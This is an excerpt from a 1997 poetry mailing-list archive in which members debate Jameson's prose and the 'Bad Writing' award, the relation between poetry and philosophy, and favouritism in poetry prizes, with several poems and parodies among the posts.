Lover's Discourse_ and _Empire of Signs_, of Derrida's _The Post Card_. And of course, Charles Bernstein's _A Poetics_. All "criticisms of life." All "poetic."

Something btw I don't find Jameson supplying at all - he seems not to have that particular gift. But I still enjoy reading him, esp. when I disagree with him (as for instance with the beginning of _Signatures_.)

Patrick Pritchett
who is off to explore the Pawnee National Grasslands and the secrets of the mountain plover - avast ye, Spandrift!

From: henry
To: POETICS
Subject: Re: bad writing
Date: Friday, May 23, 1997 6:14PM

That's why the platonic dialogues are so wonderful : it's extraneous pleasure. Each philosopher has her or his own gorgeous individual excellent eccentric STYLE, yes, which may be a rhetorical checkmate but not a logical proof. But these academic explainers (Jameson et al) with their pompous turgid theories don't make it as philosophers. & how sad it is for a POETICS list to even have to deal with them, I say.

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730. **henry**
Re: bad writing
Fri 23 May 1997

Patrick : interesting, because total, misreading of what I said. Makes me wonder about my own ability to express myself. I don't think all writing aspires to poetry. I think critical analysis & philosophy are distinct activities - they are not poetry. What I was trying to say was that in a democratic world the justification of poetry by means of an academic critique of socio-political structures is the ultimate circus carnival of a self-promotional hyped-up market empire.

Poetry is something else. Closer to Ventadour/Blackburn's concept of the singing heart. But even CLOSER to something more allegorical & literary: Ariosto, for example. Another courtly poet singing for his meals. - Henry Gould

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731. **Joseph Duemer**
Re: Jameson, etc
Fri 23 May 1997

Coleridge's Seventh Lecture on Shakespeare begins, "In a former lecture I endeavoured to point out the union of the Poet and Philosopher," a sentence that recalls Wordsworth's notion in the Preface that poetry is "more philosophical" than history. So does it make any sense to frame the discussion of Jameson's "bad prose" in these Romantic terms? Is Jameson a philosopher striving toward a sort of poetic condition of language, or just a bad stylist? The distinction between difficulty and sludge has been discussed here, but what about clarity? Some of Dickinson's poems, for instance, are difficult sometimes to the point of incomprehensibility at the level of the sentence, while remaining "clear"; and in philosophy Wittgenstein can be hard to parse even while being absolutely plain-spoken. Which goes to show, I think, that Bad Writing Contests--and who *enters* them, so are they contests?--are, as has been said here, a political crock. Which is not to say, btw, I think Jameson's sentence is all that *clear* not in fact all that difficult. Clearly (ha!), the Commonwealth academics who set up the "competition" (the word itself is a lie in this usage) just don't like theory.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

732. **Joseph Duemer**
Re: bad writing
Fri 23 May 1997

Henry, How different is the language-game we call poetry from the language-game we call philosophy? Is it the difference between baseball and football, or the difference between pitching and playing first base?

JD

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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733. David R. Israel
quote unquote
Sat 24 May 1997

(a defining moment?)

what separates us

from the animals is

our ability to accessorize

(Olympia Dukakis)

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734. Piombino/Simon
Re: Pie Barrage
Sat 24 May 1997

This may be considered hoisting Star Trek by its own Picard but isn't
Jameson the one who thought Perelman was a schizophrenic poet and now
lately Perelman seems to be implying the same thing about his comrades
Bernstein and
Andrews?...Can't follow the shifting paradymes without a scorecard.James
Sherry recently read a satiric piece at the Ear Inn sharply questioning
Perelman's East/West L=A
biases in his
recent "Marginalization" book.
I admire the Dryden/Pope flavor of the below, although I'm leery
about
asserting comparisons like this among such scholarly company.

Nick P. On Fri,
23 May 1997, Mark Baker wrote:

> *For Daniel Zimmerman and Robert Archambeau,*
> *don' juan a pie barrage? So:*
>
> *A nest of tuneful persons, to my eye*
> *Like "four and twenty Blackbirds in a pye;*
>
> *"Which pye being opened they began to sing,"*
> *(This old song and new simile holds good),*
> *"A dainty dish to set before the King,"*
> *Or Regent, who admires such kind of food;--*
> *And Jameson, too, has lately taken wing,*
> *But like a hawk encumbered with his hood,--*
> *Explaining Metaphysics to the nation--*
> *I wish he would explain his Explanation.*
>
> *Mark Baker*

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735. **David R. Israel**

Re: bad writing / good metaphor ?

Sat 24 May 1997

Joseph Duemer: << How different is the language-game we call poetry from the language-game we call philosophy? Is it the difference between baseball and football, or the difference between pitching and playing first base? >>

or: is it the difference between walking thru a landscape so that you can make a map of it (philosophy), vs. glancing at a map so that you can go make your way to & thru the very landscape (poetry) ?

who was it (what poet) said he found philosphy a bit embarrassing? -- (rather like a form of nakedness?)

that poetry should "resist the intellect, almost" [or words to that effect ?] is also a Famed Adage (or, since I'm not reading m&d, a familiar quote -- I don't remember from whom - W.Stevens?)

philosophy & poetry: sense & sensibility ?

philosophy was rounding the bases but never arriving
poetry was way out in left field -- watching the blimp

then poetry hit a Homer
& philosophy sat bemused

poetry bunts & dives for first (down & dirty)
philosophy -- a nervous pitcher -- tends to spit

when poets brag about stealing bases
philosophers will try to catch 'em out

the catcher makes cryptic signals (poetry)
the pitcher follows instructions (philosophy)

the crowd (philosophy) goes wild!
the bases (poetry) are now loaded!

but who's on deck? who's on third?
who can master the screwball?

the stadium (philosophy) empty
dusk: the game (poetry) is over

the beer can (philosphy) lies crushed
crackerjack (poetry) fades from memory

even the gift was a mere trinket -- at the bottom
of popcorn (philosphy) and the coating (poetry)

philosophy was too occupied with the score
poetry was too enamoured of the fanfare

poetry left to take a leak
when philosophy was up at bat

when the kid (poetry) returned to his seat
the player (philosophy) had been walked

no one knew for sure how this happened
prudence (philosophy) or guile (poetry)?

.
.....
.....
\\\

| (Tagore)
///////////////////////////////////////\\\\\/////

↑ Index

736. Thomas M. Orange
bad writing
Sat 24 May 1997

i agree with mark baker: the writer's terms are the style. suppose i want to talk about "otherness" -- at what point am i then justified in talking about alterity, non-identity, heterogeneity? if my style, or even what henry calls my non-style (the transparent figure-ground, h.?), demands that i introduce these additional terms, i would hope it's because they give me and my reader something that the original term lacks.

what if reader x doesn't pick up the valences behind one of the terms -- say, heterogeneity -- their fault or mine? should i expect reader x to then feel hopelessly underread and forced to go back and read everything from hegel's science of logic to bataille in order to return to my text more valence-friendly? i think i at least have a responsibility to use my style responsibly, in other words:

if i start talking about "otherness predicated upon its dialectical overdetermination by a radically heterogeneous alterity" i truely hope you as my reader will find me my copy-editor and my publisher and shake us violently demanding an explanation of what the hell i'm talking about else banish us to a lifetime of reading nothing but postings to the spoons collective's bataille list as punishment...

tom. _____ |Was uns, That which | |zusammenwarf, threw us together | |schrickt auseinander, frightens asunder, | | | |ein Weltstein, sonnenfern, a world-stone, sundistant,| |summt. hums. | | | | [Paul Celan] |
~~~
~~~

> Subject: Re: Fwd: Bad Writing Awards (fwd)
> Date: Friday, 23 May 1997 11:22
> At 4:11 AM -0400 5/23/97, [redacted] wrote:
> >My now famous colleague, Rob Wilson, asks me to send this along. sms. The
> >fame and influence of writers such as Hegel, Heidegger, or Derrida
> >rests in part on their mysterious impenetrability. On the other hand,
> >as a cynic once remarked, John Stuart Mill never attained Hegel's
> >prestige because people found out what he meant. This is a mistake
> >the authors of our our prize-winning passages seem determined to
> >avoid.
> thanks for posting this sentence, rob/susan. it foregrounds yet another
> strand of this factional conflict, namely nationalism and xenophobia.
> brits, wth their clear, crunchy prose, are the virtuous underdogs, the
> french and germans with their dreamy obscurity and questionable
> sexualities, are in the ascendancy in this world war III of language.

_____
The Brits?
What about the Australians, with their liking for Vegemite,
their fondness for naming their children "Bruce", their
penchant for keeping child-eating dingoes as pets, and their
obsessive use of the adjectives "bloody" and "beaut" ... as in

"That's a bloody beaut poem you wrote about the dingo, Bruce!"

» John Tranter, 39 Short Street, Balmain NSW 2041, Australia Phone Sydney ([redacted] FAX ([redacted]

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738. George Thompson
Re: epic redux/etymology
Sat 24 May 1997

>Dale here from Hoa's machine:
>
>Etymology is not a science with exact definition. Its goal is to show the
>history of a word's usage. It seems to me that a word is only "defined"
>>through its usage and changes over time for a variety of reasons. As a
>poet, I >find the historical weight of words fascinating and essential to

>how I >understand language. Rather than defining a word's meaning, the
>etymological >process is more like measuring historical transmutations.
>Knowing how a word >was once used offers important contrast to the
>meanings we apply to the same >words now. Besides, an etymological
>dictionary is necessry for my understanding >of poetry from any period.
>But of course, these tools are relied upon more and >more the further back
>you go in the language.
>
Dale has nicely laid out the important distinction betw etymology and
usage, and in an admirably brief post. Of course we don't [necessarily]
need etym. to interpret a contemporary poem; we can rely on our native
competence. The reason why philologists are prone to over-value etym. is
that often it is our only tool. We can't rely on native competence when it
comes to Vedic [a dead lang], and usage can't be a tool when it is
precisely a word's usage that we are trying to figure out. But good
philologists are as sensitive to this distinction as good poets are.

As for "epos", I think etym has steered me in the right direction, toward a more accurate understanding of the word's usage.

George

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739. **Ryan Whyte**

its survivors

Sat 24 May 1997

---

hypnotic gun from the law
books engaged pure absorbent glass
spreads thin mushroom, a woody smell, reconstituted
from the ages 3 5 7

officer in distress quick saves showered time
when all the thinking is done cigarettes for
columbia absorb the blow
dispersion is the rule here shards make silver
the backs of victims

crunch! crash! thumk! laugh at bad footage
porno repeater reload crunch disposable interlude
with leaves dirt drinking fatty milk in those huts.
boom boom horizon jumps; lets
leave those numbers behind

although it's stupid to run time with the law. our man
bellows orders his dumb glaze like hemingway prose
shot in the back of the head crash black his foolish wife or maybe not
so when the victims move they glisten

sink in the dirt time, menbugs lost guns so to
women so to women caw crunch take on new being sound
no longer that call of body crunch but other bodies thought
possible and planets sink in dirt breathing

the telecommunications of the insects cuts the air with rubbing
legs and mates otherwise victims move back
to these worlds, gates, bleeding blacks no longer turning
but finally leaving inscription. think now christina amour
fou

WHERE WERE YOU BOYS COMING FROM CORPUS CHRISTI SIR

OUT COMES THE GUN

telegraphic pulse shot black powder telos of gas expansion insects
transported in the shock wave wings legs bugs
can you hear bird
can you hear again

this jungle has its survivors, pass the salt
quoth last topographical madmen
dig the dirt for larger bugs, do a sweep
things will be alright because we're
getting close to the signal, creeping

think now christina amour fou this time the signal
what I mean! this time is the time of bugs!

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740. **amato**
Re: Fwd: Bad Writing
Sat 24 May 1997

---

not to take rob wilson's side (and yes---i respect rob's insights, his ability to talk theory), but let's say we decided to accept as valid something called "theoretical discourse in the academy"... and let's say we decided to gauge the "value" of each such tract or assertion on the basis of the work it did (no need to write "theoretical work" here!) in that context, in those communities... what would "good" writing be?...

i don't think there's an ez answer, though there may be some answers... we can agree, i think, that rob's writing (and jameson's---and why isn't jameson online?---i've never caught him online---rob, it should be observed, is at least *here*) is not ez, or "clear," in the context of what a majority of (even articulate) writers might find "clear"... we might even argue that there is a better way to say what rob is saying... but first, first we'd have to answer the question of who the intended audience is... even if "the intended audience is always a fiction," the alternative is not, cannot be to ask that *all* writing that purports at some level to be theoretical be accessible to all readers, can it?... can it really?... from the point of view of even modest reception theory, i don't think so...

for example: do we ask the same of theoretical physicists?... clearly [wink], in science, the obscurity gives offense is generally acknowledged to be the concepts and "nouns" themselves, and what they denote (and note michael berube's fine piece in _the chronicle_ a while back, "in defense of obscurity" or some such, his mla talk---very un-obscure!)... we assume, even allowing that the rhetoric of science is itself constructive of scientific knowledge, that an essay in the scientific community will of necessity employ concepts that constitute insider or expert knowledge... and in general we seem to respect same---we don't run around publicly chastising (not most of us anyway) physicists for using terms like "charm physics" (no shit---charm physics!)... the bind of course is that theoretical work in the humanities, as any other writing-based endeavor, IS in so many ways the writing... the work is not accomplished 'beforehand' and written-up (and again, more sophisticated appreciations of science indicate that even science doesn't work quite this way---but my point has to do with general perceptions)... the enacting of a theoretical piece in the humanities IS or can be in so many ways the theory... it was ward tietz i think who (some time ago in these spaces) articulated this descriptive/theoretical conundrum quite expertly, for my money (wish i could find his post, have it somewhere or other)...

most of us hereabouts appreciate the fact that a poem cannot really be paraphrased... perhaps poets aspire to different aims (as henry suggests) but we'd have at least to allow that theorists, whatever they aspire to in such terms, can very well aspire to not being paraphrased... who's to say otherwise?... i might be irked by theorists or critics who claims poetic ground (plug: if you read my suny book you'll understand why---maybe!) but only b/c this ground is claimed generally w/o regard for poets...

as to the idea of what is "good" writing: are any of you (mostly academics probably) familiar with steven b. katz's essay, "the ethic of expediency: classical rhetoric, technology, and the holocaust"?... appeared in _college english_ in march 1992... katz begins by examining a piece of "good" (i.e., expedient) technical writing authored by an ss group leader, detailing technical changes

necessary to alter vans used to gas jews before the "final solution" (i.e., large-scale crematoria)... technically the memo (in translation) is quite "clear"---except of course for the use of words such as "pieces" to describe human beings... katz in fact traces the rhetorical tendency toward "expedient" writing back to poor old aristotle, and gives some idea as to how this ethos was imported into national socialist propaganda, and tech writing theory and practice... this essay raised lots of eyebrows when it appeared, won much acclaim, and in my view has not been confronted sufficiently in most tech writing classrooms (many of which do not in my view sufficiently theorize technology)...

anyway, my point should be obvious enough: that "good" writing---like "bad" writing---implies a moral-political judgment... now i'm not against making such judgments---but they need to be understood as such... and when you hear somebody running around using the term "bad writing" as though style can be unproblematically separated from "content"---as though "bad" is 'merely' a stylistic denotation---well that in itself should give one reason to pause...

that said: if i were to critique rob's long sentence *in public*---a sentence peppered with critical vocabulary that can, for the theoretically-inclined/informed reader, connote multiple theoretical reference points---i think i would, first, have to argue publicly why theoretical discourse should be more "accessible" to some "lay" public (even as such discourse interrogates the popular)... and even were i able to construct such an argument, one likely oriented to the fraught 'public intellectual' debates, such an argument (theory?) should not be used to delimit "theory" as such, as a field of possibilities... in any case, once such an argument were made, the values i would bring to suggested revisions would at least be operating at the surface of discussion...

whether having to be "clear" about such motivations is "where" we are in critical-theoretical terms, at this moment in academic culture (robert's question, as i understood him), i'm not sure... my guess is that we might as academics find some helpful room to move through a more performative understanding of what we are about... but u.s. culture is predisposed toward posing [he sez], both in and out of the academy, so i'm not going to wax entirely optimistic on this count...

i hope i don't sound as though i'm beating around the bush... rob's sentence, for me, pointed in lots of directions, but i did find it difficult to read... that somebody with ulterior motives should have singled it out, with a few other such sentences, as "bad" doesn't necessarily mean that we can't learn from same... but maybe a better way for "us" to learn here would be for me to say to rob (if i may) "yeah man, that was a tough swallow"... and if rob valued my opine, perhaps he'd think it over, perhaps not... at least we may then have had an exchange (if rob respects my judgment, which i think he does), and at least i

wouldn't be pointing my finger as such... and rob of course would be *free* not to revise!... as to public finger pointing: again i ask, in such terms, what *are* the motives here?...

if, as i take it, our theories do not---should not, cannot really---*legislate* life, neither should a given desire for linguistic accessibility or convention---which comprises in fact somebody's lived experience---be used to *legislate* theory...

geez i wish i weren't so long-winded, sorry!...

best,

joe

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741. **hen**
Re: bad writing
Sat 24 May 1997

On Fri, 23 May 1997 22:42:03 -0400 Joseph Duemer said:
>Henry,
>How different is the language-game we call poetry from the language-game
>we call philosophy? Is it the difference between baseball and football,
>or the difference between pitching and playing first base?

David Israel said it all on that "score". In my last couple irritable posts I was trying to point poetry away from the dull marriage of left theory and experimental verse. Did I succeed? Only Harmon Killibrew in heaven can say. Poetry before the age of democracy was living on the ghost of ancient vatic authority along with the educational/entertainment demands of elite aristocratic city-states. The poetic impulse itself is utterly free & growth-constructive; but for poets to survive in that atmosphere, the impulse had to be harnessed to the narrative/song/occasion demands of its patrons. This NECESSITY is what tempers the poetry - brings it to a concrete and complex beauty & wholeness. Ariosto is my mantra exemplar of the day. Now we live in a democratic age & poetry thrives under the sign of indifference. Thus the prestige of prestige poetry, the blurb announcements, the gush, the overvaluation - under the sign of indifference - can be read as the utmost buffoonery. "Avant-garde", postmodern poetries, whose promoters distance themselves from bourgois values on the one hand and decry at the same time the inadequate prestige & rewards extended to them from the bearers of those bourgois values, are the icing on the comedy cake. My point is that the spur of NECESSITY no longer salts the verse at all. There is only the inner necessity of the poetic impulse; the outside is all imperial pomp & flatulence; the outside is pure freedom & neglect. But indifference & neglect can be a GOOD thing for artists. Can we find the NECESSITY to

match our creative impulses? Who knows, if you get honors when you finish the MFA program, perhaps the Muse will descend & you can be the laureate of West Rutabaga Jr. College. All I can say is the spirit of poetry should be sought in the great works of the past in all their necessity, and in the honest scholarship (one of the glories of this century) which investigates those works. Not in the explanatory hobgoblins of sociopolitical pedants. Poetry is not the voice of Professor [fill-in-the-blank]. - Henry Gould "Classicism is revolution" - Mandelstam

pie-slingers, Fernando awaits.

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742. **CHRIS MANN**
Re: bad writing
Sat 24 May 1997

---

knowledge as normative. i rest my case

On Sat, 24 May 1997, hen wrote:

> *On Fri, 23 May 1997 22:42:03 -0400 Joseph Duemer said:*
> *Henry,*
> *How different is the language-game we call poetry from the language-game*
> *we call philosophy? Is it the difference between baseball and football,*
> *or the difference between pitching and playing first base?*
>
> *David Israel said it all on that "score". In my last couple irritable posts*
> *I was trying to point poetry away from the dull marriage of left theory*
> *and experimental verse. Did I succeed? Only Harmon Killibrew in heaven can*
> *say. Poetry before the age of democracy was living on the ghost of ancient*
> *vatic authority along with the educational/entertainment demands of elite*
> *aristocratic city-states. The poetic impulse itself is utterly free &*
> *growth-constructive; but for poets to survive in that atmosphere, the impulse*
> *had to be harnessed to the narrative/song/occasion demands of its patrons.*
> *This NECESSITY is what tempers the poetry - brings it to a concrete*
> *and complex beauty & wholeness. Ariosto is my mantra exemplar of the day.*
> *Now we live in a democratic age & poetry thrives under the sign of*
> *indifference. Thus the prestige of prestige poetry, the blurb announcements,*
> *the gush, the overvaluation - under the sign of indifference - can be*
> *read as the utmost buffoonery. "Avant-garde", postmodern poetries,*
> *whose promoters distance themselves from bourgois values on the one hand*
> *and decry at the same time the inadequate prestige & rewards extended to*
> *them from the bearers of those bourgois values, are the icing on the*
> *comedy cake. My point is that the spur of NECESSITY no longer salts*
> *the verse at all. There is only the inner necessity of the poetic impulse;*
> *the outside is all imperial pomp & flatulence; the outside is pure freedom*
> *& neglect. But indifference & neglect can be a GOOD thing for artists.*
> *Can we find the NECESSITY to match our creative impulses? Who knows,*

> *if you get honors when you finish the MFA program, perhaps the Muse will descend & you can be the laureate of West Rutabaga Jr. College. All I can say is the spirit of poetry should be sought in the great works of the past in all their necessity, and in the honest scholarship (one of the glories of this century) which investigates those works. Not in the explanatory hobgoblins of sociopolitical pedants. Poetry is not the voice of Professor [fill-in-the-blank].*
> *- Henry Gould*
> *"Classicism is revolution" - Mandelstam*
>
> *pie-slingers, Fernando awaits.*

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743. **Henry Gould**
Re: bad writing
Sat 24 May 1997

could you restate your case, Chris, before you rest? What's your criteria for normative? Stuff you don't like? Stuff you didn't write yourself? Stuff in general? Headpiece stuffed with straw? - Henry

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744. **Joseph Duemer**
Re: bad writing / good metaphor ?
Sat 24 May 1997

David Israel's riffing certainly demonstrates one distinction between poetry and philosophy: poetry / metaphor sponsors copia, expansion and variation, whereas philosophical language (at its best) tends to narrow to a point. Which of course does not imply that poetry cannot take ideas as its material.

Still, and though I brought up Coleridge and Wordsworth, I worry about Henry's and David's veer toward romanticism.

JD

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

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745. Tom Mandel
who gets the prizes (wants them)
Sat 24 May 1997

Although this thread can lead nowhere save back to the skein -- there being no disinterested parties -- here are at least a couple of other ways to look at the question of defined groups and their influence on distribution of reward in the world of poetry.

(I should -- and do -- interrupt myself to mention that personally I find it hard to apply to foundations, seek fellowships, go to conferences, work relationships to get critical attention, etc., although I think these are value-neutral activities. I never accepted a scholarship in college or even a loan, driving my parents crazy and causing a lot of part-time jobs on my part. My whole family had been destroyed in Europe by institutions which just didn't seem all that different to me from the ones I was forced to relate to in growing up and in living an adult life -- that's not a comparison, btw, it's just me.)

1. Everybody helps their friends. Who else should they help? I'm sure Jorie Graham sees some young poet emerging from her classes as gifted, needy, and worthy. Should she not promote that person's career if it's possible for her to do so? I see my friends do that all the time, and I do it too -- proposing and promoting some young(er) person's work -- and if you feel like seeing that as promoting one above another who may be as or more worthy, you're probably right but so what.

The following is NOT a criticism: Take a look at the list for Charles' LINEBREAK program. What's the total of years of friendship among the people on that list -- a millenium possibly! Who should Charles invite if not his friends. In poetry, friendship usually also means a high regard for the work and even (sometimes) a history of mutual influence and various kinds of poetic working together.

Would it be better for Charles or Jorie Graham or whoever to cede the operation of mind to some bureaucratic procedure? Usually we want the other guy to do that, our workings seem utterly embedded and natural.

2. Anselm is right that these cozy worlds are like the Soviet Writers Union (altho without the extremity of influence or function -- it was a writers union hack who spent the evening at the Mandelstams making sure they were present for

the arrival of the cops). But, these are multiple such worlds. And their structure is one of mutual back-scratching -- again, how could it be otherwise?

At the same time, if you put yourself where there is little you can do for others you may not find they do much for you. That's probably a good sign.

Remember this: any structure of power is threatened by any real and new work. A benign sphere of influence is as threatened as any other. Spheres of influence are settled structures. A new locus of force disrupts their workings. This is no less true at Buffalo than it is at Iowa. People on this list simply prefer the aesthetic at Buffalo, as do I.

(I interrupt myself one more time to point out that the above analysis doesn't stop over details -- it could be fleshed out, theoretically and empirically; it could be supported with evidence, and it could be made conclusive. It could even be an attack, but it isn't one.)

3. It would be worth investigating the role of criticism, specifically academic criticism, in the workings of these worlds in which prizes are handed and positions doled to prince and dolt alike. I'm not going to do it, tho I could.

4. Rotating the aesthetics. The problem is that you have to create a mechanism to rotate the aesthetics, and a human mechanism is just another layer of who knows whom.

MY CONCLUSION -- (I rely, by the way, entirely on my own advice and analysis. Those considering whether and how to weigh it should consider my position and ask whether and how they would wish to emulate it. If you wouldn't wish to I don't blame you, go on and dress for the party. Whatshishername may be there.) ---

Look, what has poetry to do with any of this?

(In Jewish theology, one position holds that all miracles took place before the world was created, although they may appear to be taking place in our lives. The same position holds that every moment is miraculous and that on the other hand every miracle in your life reduces your merit in the world to come.)

It has nothing to do with it; it has as little to do with it as humanly possible. All prizes received, all positions defined, held, and extended, all of that reduces your merit as a poet.

(Except of course for the exceptions [of course]... and we are on our way out of a plain look at the truth)

Good luck! Oh, and it *is* good to eat. Not all prize money is wasted. I know some poets who got to participate in the real estate boom in the SF bay area in the late seventies because they got NEA grants. Now that's leveraging money for the arts!

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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746. **Fred Muratori**
Re: who gets the prizes (wants them)
Sat 24 May 1997

> *1. Everybody helps their friends. Who else should they help? I'm sure Jorie Graham sees some young poet emerging from her classes as gifted, needy, and worthy. Should she not promote that person's career if it's possible for her to do so? I see my friends do that all the time, and I do it too -- proposing and promoting some young(er) person's work -- and if you feel like seeing that as promoting one above another who may be as or more worthy, you're probably right but so what.*
>
> *Tom Mandel* [redacted]

True, but there are more direct ways of helping that do not have to involve unfair practice, which I think applies the AWP situation. JG could, for example, lobby her own publisher to publish a student's work, or persuade Colorado Review Press -- she's the poetry editor at CR -- to publish it, put in a good word for the student with editors of other mags, writing positive reviews, etcetera. I don't find anything wrong with this kind of private lobbying -- it's how the literary world works, very often it does spring from honest admiration for the work, and it's likely that some wonderful poets would never have come to our various attentions without it. We have in the AWP case, however, an "open" contest whose sponsors trumpet its being blind-judged (as does the NEA) and the contestants -- however naive -- trust to that. JG violated that trust.

Fred Muratori
Reference Services Division
Olin - Kroch - Uris Libraries
Cornell University
[redacted]
http://fmref.library.cornell.edu/spectra.html

****
"The spaces between things
keep getting bigger
and more important"

-- Jon Ashbery
****

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747. **David R. Israel**
Re: bad writing / good metaphor ?
Sat 24 May 1997

From Joseph Duemer:

> *Still, and though I brought up Coleridge and Wordsworth, I worry about Henry's and David's veer toward romanticism.*

From Meher Baba:

> *don't worry, be happy*

(but thanks for your concern),
d.i.

p.s.: the "veer" (above) is interesting --

what was the right course / high road from which I / we present a troubling divergence, a wrong-track trek, I wonder?

Romanticism, though, will never be the same (nor, for that matter, nostalgia). It's a new ballgame now, not to mention a whole nother ball of wax.

There's also the hardball / softball distinction (philosophy v. poetry, presumably). But poetry is sometimes more like pool --

it's the strategic bounces that count (or at least most amaze). And when things get too heated, you can always head for the high dive.

Seriously, the dialogue between philosophy & poetry seems one of the most vital of literate dialogues -- even if each end has its own ways of decontextualizing & re-, of listening & not, its own modes of presentation & interpretation, etc. W.Stevens seems among the most interesting of modern walkers of those borderlands. But many of the fine stuff from langpo-land also take on a much wider / broader swatch at / from philosophy than (mere, -- if you'll allow this) Marxism. Think of Rosemarie Waldrop, Joan Retallack, Michael Palmer (as instances) . . .

BTW, are folks familiar w/ F. Schiller's *Naieve & Sentimental* essay? Any neo-romanticism presumably takes things at new (more distant & complex) levels of

what Schiller called "the sentimental" -- but his sense of that seems far from the word as generally used in this century. Anyway, Joseph, I'll wear the R badge w/ a difference.

```
 Sometimes one carries a sharp machete
    & chops away at green (romanticism)
 sometimes one takes a dull wit & plants
    seedlets in fecund soil (postmodernity)
```

many climates allow for many modes
the full gamut issuing many a scale . . .

```
 .
 .....
 ............
 \\\\
```

> *Which of course does not imply*
> *that poetry cannot take ideas as its material.*

Nor that philosophy cannot don beautiful & comely language.

Still, if the Rome might sometimes seem the same, the Road does generally diverge. Who'll get there first (& what they'll do if they ever arrive) is an open question.

But evidently they're indeed (as suggested) different games.

Considering how exaggerated music is -- considering how coolheaded philosophy is -- considering how outlandish poetry is -- the three make a fine triangle, ready for chiming

d.i.

```
 .
 .....
 ............
 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
   >    david   raphael   israel    <
   >>      washington  d.c.      <<
 | ▇▇▇▇▇▇▇      (home)
 | ▇▇▇▇▇▇▇      (office)
 ==========================
 |   thy centuries follow each other
 |   perfecting a small wild flower
 |                                (Tagore)
 ////////////////////////////////////////\\\\\/////
```

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749. **henry**

Re: who gets the prizes (wants them)

Sat 24 May 1997

But Tom, isn't the difference between what Jorie Graham reportedly did as judge in an open competition, and what Bernstein does in promoting his friends (if that's what he does) on his radio program, just the thing that turns poetry into propoganda and institutions into mafias - i.e., bad faith? How can you deride institutions and in the same sentence defend what makes you suspicious of them? Bernstein doesn't run a contest that claims to take your money in exchange for a fair consideration of your work. Most poets know it's a crap shoot & judges have their own biases - but again, how can you equate the two? - Henry G.

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750. **henry**
Re: poetry / philosophy
Sat 24 May 1997

Philosophy aims for the exquisite equation;
poetry for the pointed proverb.

- Pete Quinine

↑ Index

751. **George Bowering**
Re: Pie Barrage
Sat 24 May 1997

> *This may be considered hoisting Star Trek by its own Picard but isn't Jameson the one who thought Perelman was a schizophrenic poet and now lately Perelman seems to be implying the same thing about his comrades Bernstein and*
> *Andrews?...*

What? All these poets and critics are now medical men and diognosticians in the field of mental health?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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752. **michael corbin**
Re: Sentence(ing) Jameson
Sat 24 May 1997

Robert Archambeau thoughtfully interrogates:

> *Are we about to see the emergence (not just on the right) of a new _plumpes Denken_?*

Being able to think and represent the present historically (or more correctly to think and represent the present of capitalism historically) is the obligate parasite of both the poet and the philosopher, here, now. It was Brecht who challenged Lukacs' formal 'realism' of class consciousness in search of that more

transparent 'alientation effect'. And it was indeed Benjamin's _Plumpes Denken_ that marked a desire for a cunning clarity. But it was also Brecht, the Theater man, the emergent (silent) Cinema man and Benjamin (brought up rudely, jostled out of the pose--the hope!--of the flaneur to be only *the man in the crowd*) who reacted not merely against a hegelian obscruantism but more, more importantly, against the pellucidus age of electro-mechanical reproduction, the missing aura mis-taken as frames-per-second or streaming RealAudio(TM)(sic). A cusp of history off sorts.

And now. An emergent post-theory *ad interim* or perhaps a representational *annus magnus*? Hegel is afoot in this end-of-history-one-superpower-death-of-communism-pax-americana- northern-hemispheric-impererial-alliance. A clarity of style, perhaps a pure form, an _Ecstasy of Communication_ (to appropriate Baudrillard) with trade agreements and trade zones and (pace our Drug Czars) "sentencing guidelines" and "sentencing contests": the judges themselves are ham-strung in the alleged post-ideological verities of law and order and the aristotelian keeping 'in check', syllogistically, of inflation, during the long duree.

Daniel Zimmerman wrote:
>
> Since when does the intention of a sentence qualify its merit?
>

Good question.

And I try with difficulty to write in the margin of my screen, my browser-frames, non-rhetorically and throwing no pies: "Since when did use-value succumb to the totalities of (lets say, post 1989) exchange-value, transmogrifying 'intentionality', 'sentence', 'qualify', 'merit' and the temporaltity of 'since when' in this sentence?"

Jameson writes of Wydham Lewis' "machine-sentences" quite outside his 'intentionality' (i.e., his fascism) particularly "the Lewis of the final years, able only to hear his language, reverts to an almost 18th century sobriety, the fireworks of the earlier style now passing over into the content of the narratives themselves." _Fables of Aggression: Wyndam lewis, the Modernist as Fascist_.

And now. Perhaps _The New Sentence_ is already bar=coded as the neo-retro sentence. Un-plugged. And *reading-values* succeed in their reproduction precisely through the triumph of the medium of exhange by the triumph of exchange itself. And now. Perhaps a passing over, a giving up the ghost, the haunting specter, for a twenty-first century narrative of agonistic sobriety.

mc

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753. CHRIS MANN
Re: poetry / philosophy
Sat 24 May 1997

and neither have aught to say. this we know coz if the walls could speak
we wouldn't understand them.
criteria? why, the ideal - negation.

On Sat, 24 May 1997, henry wrote:

> *Philosophy aims for the exquisite equation;*
> *poetry for the pointed proverb.*
>
> *- Pete Quinine*

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754. Alan Jennifer Sondheim
Linux' Toor of Babel
Sun 25 May 1997

-

The toor of babel:

toor:NOMAD-RELIAM
toor:nomad
toor:sys
toor:nib
toor:nnej
toor:ti-dual
toor:cnys
toor:e-pat
toor:gained-sys
toor:gained-nus
toor:dhatuadwpUA
toor:did-wissenschaft-app-UA
[redacted]:2toor
2toor,2tooreert,tooreert:tsil-tooreert!!!
eert/sevael/lfd/sresu/:educalcni: :eert_gro.sevael_dowf!!!

↑ Index

755. **KENT JOHNSON**
Gnomonology
Sun 25 May 1997

A few weeks back there was some discussion about Howard McCord's poem "Gnomonology." A web site for the poem has recently been created:

www.geocities.com/paris/leftbank/7641

Kent

↑ Index

756. **OrpheEUrydiuce**
Fictions of Deleuze (fwd)
Sun 25 May 1997

>
> Dear Lover
>
